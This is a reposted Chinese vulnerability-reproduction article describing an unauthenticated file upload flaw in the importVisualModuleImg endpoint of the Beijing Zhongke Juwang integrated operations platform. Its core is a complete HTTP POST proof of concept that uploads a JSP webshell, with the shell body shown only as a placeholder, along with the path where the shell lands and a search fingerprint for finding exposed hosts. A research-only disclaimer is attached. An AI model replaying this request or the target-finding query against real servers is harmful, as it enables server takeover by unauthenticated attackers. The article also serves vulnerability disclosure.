北京中科聚网一体化运营平台存在importVisualModuleImg文件上传漏洞

admin
admin
admin
139598
文章
114
评论
2024年7月31日15:19:19评论64 views字数 1083阅读3分36秒阅读模式
1漏洞描述

北京中科聚网一体化运营平台存在importVisualModuleImg文件上传漏洞，未经身份验证的攻击者可利用此漏洞上传后门文件，从而获取服务器权限。

2漏洞复现

首页

北京中科聚网一体化运营平台存在importVisualModuleImg文件上传漏洞

 

bp发包

北京中科聚网一体化运营平台存在importVisualModuleImg文件上传漏洞

 

链接地址：地址/files/visual/img/2/1.jsp

 

3网络测绘
body="thirdparty/ueditor/WordPaster"

 

4漏洞POC
POST /manage/tplresource/importVisualModuleImg?moduleId=2 HTTP/1.1
Host: 地址
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----9979a3f1-cdb1-43af-af88-a9b48b67cf71
Content-Length: 196
Cookie:  JSESSIONID=9438c497-92ad-4800-b821-20602adec4ac; rememberMe=dcOzuzCzFrtr02GhN9IwcsR9v759kvzO9wq/upEQ0jwsU5y/25kFW52CaKmZoRP7pwH979ifBBXB3b+li3PSXwZmxnh+bMgi6kv5vv8WNkNdy1pblj7sPxtwIm71auJPyyOl+aMKAhk/71leMQLpneRk/8f6USYL/acFuWhpjyuVU6oP6YJdIoCKGgdxAiUk; 

------9979a3f1-cdb1-43af-af88-a9b48b67cf71
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: multipart/form-data

木马内容
------9979a3f1-cdb1-43af-af88-a9b48b67cf71--

 

原文始发于微信公众号（我吃饼干）：【漏洞复现】北京中科聚网一体化运营平台存在importVisualModuleImg文件上传漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日15:19:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   北京中科聚网一体化运营平台存在importVisualModuleImg文件上传漏洞http://cn-sec.com/archives/2994211.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息